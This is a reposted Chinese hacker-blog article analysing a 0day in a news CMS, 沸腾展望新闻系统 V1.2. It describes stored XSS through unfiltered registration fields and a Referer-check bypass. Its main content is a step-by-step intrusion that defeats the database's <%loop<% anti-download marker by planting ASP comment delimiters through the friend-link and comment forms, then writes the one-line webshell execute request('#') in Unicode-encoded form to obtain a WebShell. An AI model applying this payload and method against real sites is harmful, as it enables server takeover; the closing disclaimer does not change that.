首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
让LOOP防下载形同虚设直接拿shell
来源:L4nk0r'S Blog 作者:L4nk0r 发布时间:2010-02-22  

题目:让LOOP防下载形同虚设直接拿shell--分析沸腾新闻多媒体展望系统V1.2 0Day
作者:莫ㄨ问[B.H.S.T]& 李宓 [L4nk0r]
来源:L4nk0r'S Blog
此文章已发表在《黑客手册》2009年第9期杂志上,后经作者发布在博客上,如转载请务必保留此信息

L4nk0r:为方便大家阅读,最后提供文件打包下载
事情缘由:
暑假一个人在家看书,在浏览一个网站的时候总感觉这个网站的整体页面很像一套系统.于是就查了真是沸腾展望新闻系统.记得早起这个系统存在很多漏洞.这不马上到其官方网站下载了最新版本V1.2 Build1版.此版本相对之前的版本安全性已经提高了很多,但是在阅读代码过程中还是发现了一些不足来特来和大家分享,下面对漏洞的形成做下分析,漏洞本身没什么,注意思路.

一.注册页面跨站甚至插马
注册跨站甚至写入木马,漏洞文件adduser1.asp和saveuser.asp
在adduser1.asp用户注册通过简单的javascript来判断username表单是否含有非法字符(在savauser.asp中同样过滤了,所以username字段没办法利用).程序员太过于相信Javascript了.导致用户可以输入恶意代码提交到数据库,代码如下(savauser.asp文件,这里略去部分无关代码)

sex=request.form("sex") // 这里没有任何过滤,可以通过本地提交表达
birthyear=request.form("birthyear") //同上
birthmonth=request.form("birthmonth") // 同上
birthday=request.form("birthday")
depid=ChkRequest(request.form("depid"),1) '防注入,这里用ChkRequest()来防注入,跟进
photo=request.form("photo")

很明显上面这些参数中除了一个depid过滤了其他都直接获取了并且后面直接更新到数据库了.我们知道Javascirpt可以本地提交绕过,所以跨站也就没有问题了.但是在测试时候发现不行,好在仔细查看包含的文件,我明白程序员为什么这么”自信”了.看到ChkURL.asp,代码如下:

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
-------------------------------后面一堆提示---------------------------------------

利用REFERER禁止本地提交.还是老思路,构造Referer即可.这里我通过WinSock Expert抓包然后NC来修改数据提交就可以了.这里不做讲解,当然这个漏洞配合后面的使用也是可以的.
二.致命伤-<%loop<%形同虚设直接拿shell
1.成因分析
   直接打开数据库/data/news3000.asp数据库默认是asp格式的(相信没有站长会把它改成mdb的).这个是后面利用的前提.我们本地改成mdb的打开,发现里面有一张表,如图1:

NotDownload表,其内容显示为:”长二进制数据”,就是这个表导致我们访问数据库的时候出现如图2提示:

的原因Loop是asp中的循环语句,其实在数据库中那一串长二进制数据就是<%loop<%的十六进制形式3C25206C6F6F70203C25.我们可以通过UltraEdit十六进制形式打开它,然后搜索<%就会发现如图3:

知道asp语法的人看到这里应该都明白为什么会有如图2提示了把.所以当你插入一句话的时候就会脚本无法闭合的问题.另外<%loop<% 这种是无法闭合的.下面是关键思路:既然无法闭合,我们是否能够注释掉?想到这里,我们就会想到单引号,没错就是它-ASP的注释符,但是前提是,要能够在他之前插入一个<%’;x (即,

<%&amp;amp;#39;x
这里的x可以是其他字符,是为后面字符转换成unicode编码用的.) 另外,还要在<%loop<%后面插入一个%>x(这里X也是同理)才能让其和前面插入的闭合.这样就可以注释掉<%loop<%这个不可能闭合的问题了.我们整理一下思路:就是在

<%loop<%
前后的合适位置插入一段可以闭合的代码,并且将在这2个闭合符号中间的内容注释掉就即可.思路有了..就可以操作了.另外说明下,当你用UltraEdit十六进制形式打开数据库时搜索<%如果不是<%loop中的那个,就证明这里可以插入前置闭合符,同理,后置闭合符也可以这样判断.思路清晰了,我们来看看实例操作.
二.实例演示-沸腾展望新闻系统V1.2 0day
打开/data/news3000.asp数据库发现,普通用户可以添加的数据表有:

引用
1. attach表     --文件上传方式
2. FT_User表    --通过注册(配合漏洞1的注册跨站使用)
3. Link表       --友情链接申请
4. News表       --发布新闻
5. Review表     --评论新闻
6. UploadPic表 --上传图片

通过穷举法,多次测试发现,前置闭合符可以在Link表中插入,而后置闭合符可以在Review表中插入,其他表有兴趣的可以自行测试下.默认情况下,系统的友情链接和回复(游客都可以)是开启的.对于友情链接关闭申请就只能通过其他表了,这里只是举个例子,可以按思路举一反三.ok,不废话直接按如图4填写(这里也是Javascript判断后直接插入数据库)

网站名称”

┼攠數畣整爠煥敵瑳∨∣┩愾┼砧

是经过lake2编写的a2u4hack.exe工具转换成Unicode编码,它原型是:

&amp;lt;% execute request(&amp;quot;#&amp;quot;)%&amp;gt;a&amp;lt;%&amp;#039;x
,如图5:

这里要注意的是在转换过程中不能出现?,这就是我刚才为什么加一个x的原因了.然后直接提交,不管管理员是否审核不影响.再次UltraEdit十六进制形式打开搜索<%发现如图6:

发现第一搜索到的是如图6,也就是说已经成功的插入前置闭合符.现在插入随便首页点一个文章,点击下面的”相关评论”选择游客,然后在内容那输入如图7:

内容为: “┠ 砾 “同理也是经过a2u4hack.exe工具编码的,它的原型是: %>x 这样以后提交就可以提交到数据库并且完美的注释掉

<%loop<%.

所有的工作完成后我们看下结果.如图8:

成功插入一句话木马,也成功链接了直接拿到WebShell.另外.当然程序还存在一些不足,有兴趣的朋友可以自己挖掘.对于这个思路,当如果你并不能如此的完美的插入木马,我们是否也想过通过此方法来过滤掉一些上传后缀限制的数据然后通过上传来拿webshell呢?好了,思路就这样,大家灵活应用.官方演示网站关闭了友情链接我们就不做测试了,必竟只是提供大家一种思路而已.
     本次的分析到此结束了, 对于此漏洞危害较大,请勿做非法行为.有任何问题可以到黑手论坛与我讨论或者E-mail:awolf858@gmail.com.


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·攻击OSPF:通过链路状态路由协议
·内网渗透案例
·突破XSS字符数量限制执行任意JS
·数字战场:VPN隧道攻击
·无线网络渗透之旅
·MYSQL中BENCHMARK函数的利用
·Discuz! v7.2 注入漏洞分析与利
·企业网络的盲点:利用打印机进行
·CityShop v5.5.8 sql injection
·总结搜索型手工注入的全过程(不
·详解cisco路由入侵艺术
·高级Mysql攻击技术(翻译blackhat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved